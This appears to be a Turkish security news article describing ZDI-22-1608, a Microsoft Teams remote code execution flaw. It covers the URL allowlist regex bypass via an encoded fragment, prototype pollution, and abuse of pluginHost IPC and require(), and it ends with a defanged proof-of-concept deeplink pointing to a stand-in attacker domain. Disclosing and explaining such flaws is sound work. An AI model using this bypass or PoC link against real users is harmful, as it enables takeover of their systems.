Araştırmacılar Pwn2Own 2022 sırasında Microsoft Teams'de bulunan bir RCE güvenlik açığı keşfetti.
Remote Code Execution (RCE), saldırganın uzak bir sistemde rastgele kod yürütmesine izin veren bir güvenlik açığıdır. RCE, bir saldırganın etkilenen sistemin tam kontrolünü ele geçirmesine izin verebileceğinden, kritik güvenlik açıklarından biri olarak kabul edilir. Tehdit aktörleri tarafından RCE, hassas verileri ele geçirmek, kötü amaçlı yazılım yüklemek ve kritik altyapıyı bozmak için kullanılabilir. Bu nedenle RCE güvenlik açıklarından korunmak için acil tedbir alınmalıdır.
ZDI-22-1608 güvenlik açığı saldırganların, savunmasız Microsoft Teams kurulumlarında kod yürütmesine olanak tanır. Zero Day Initiative skorlamasında CVSS 6.3 puan almıştır.
RCE güvenlik zaafiyetinin nedeni içerik dağıtımı için onaylanan subdomainlerin doğru şekilde doğrulanmamasıdır. Saldırgan, etkin işlemlerde low integrity kod yürütmek için bu güvenlik açığını kullanabilir.
Hedefin kötü amaçlı bir web sitesini ziyaret etmesi veya kötü amaçlı bir dosyayı açması gerektiğinden, bu güvenlik açığından yararlanmak için kullanıcı etkileşimi gereklidir.
Güvenlik açığı aslında Mayıs 2022'de Microsoft'a bildirilmiştir, fakat zaafiyeti,n ayrıntıları Kasım ayı ZDI danışma belgesi yayınlanana kadar kamuoyuna açıklanmadı. Güvenlik açığını keşfeden araştırmacılar, 16 Ocak 2023'te bir blog gönderisinde teknik ayrıntıları ortaya çıkardı.
Microsoft Teams'in / l/ task /: appId için deeplink işleyicisi, webview / iframe'e isteğe bağlı URL yükleyebilir. Ekibin RPC'sinin işlevselliği, saldırganın sandbox dışında kod yürütmesine olanak tanıyor.
Bu URL yönlendirme işleyicisi, URL'yi bir parametre olarak kabul ediyor. Teams uygulaması tarafından oluşturulan sohbet botunun kullanıcıya URL allowlist listesinde olması gerektiğini bildiren bir bağlantı göndermesine izin veriyor. URL'yi doğrulamak için domainler regular expressionlara dönüştürülüyor. Kaynak URL, sağlanan regular expression ile eşleşirse kontrol başarılı oluyor ve bununla birlikte ayrıştırılan form (parseUrl), URL doğrulandıktan sonra webview’a gönderiliyor.
Utility Service'in parseUrl URL'si , URL'yi çözüyor; kontrol orijinal, kodlanmamış URL'de gerçekleştiriliyor.
İzin verilenler listesindeki bir domain *[.]office[.]com gibi bir wildcard içerdiğinde, oluşturulan regular expression /^https[:]/[/][^/^.]+[.]office[.]com((/|\?) *) ?$/i olacaktır.
Wildcard [^/^.]+ olarak değişir, ancak verilen URL https[:]//attacker[.]com%23[.]office[.]com ise kontrol başarılı olur.
URL'nin kodu çözüldüğünde, bunun yerine attacker[.]com'u yükleyen https[:]//attacker[.]com#[.]office[.]com olur.
Web görünümünün contextisolation’u devre dışı olduğundan, bir saldırgan süreçlere rastgele elektron IPC çağrıları yapmak için prototip kirliliğini kullanabilir. Ardından, saldırgan ana işlemin call:teams:ipc:initPluginHost IPC çağrısını başlatabilir ve pluginHost penceresinin kimliğini alabilir. pluginHost, herhangi bir web görünümünü kayıtlı nesnelerin veya izin verilenler listesindeki modüllerin zararlı RPC çağrılarına maruz bırakır.
Saldırgan, JavaScript 'i derlemek için herhangi bir nesnenin oluşturucusunu kullanabilir ve ardından derlenmiş işlevi çağırabilir. Script, String prototipinin üzerine yazabilir ve dolaylı olarak başka bir kod parçasında require() kullanımına izin verebilir.
Saldırgan slimcore bağımsız değişkeniyle remoteServerRequire öğesini çağırdığında pluginHost, String.prototype.replace tarafından döndürülen dizeyi değerlendirir. Sonuç olarak saldırgan, kötü niyetli bağımsız değişkenler ve yöntemlerle require() işlevini çağırabilir ve alt süreç modülünde uzaktan kod yürütmeyi başarabilir.
Proof-of-Concept (PoC)
hx[x]ps[:]/[/]teams[.]live[.]com[/]_#/l/task/1ded03cb[-]ece5[-]4e7c-9f73[-]61c375528078?url=https[:]/[/]attacker[.]com[%]23[.]office[.]com/&height[=]100[&]width[=]100[&]title=hey&fallback[U]RL[=]htt[p]s[[:]]//aka[.]ms[/]hey[&]completionBotId=1[&]fqdn=teams[.]li[v]e[.]com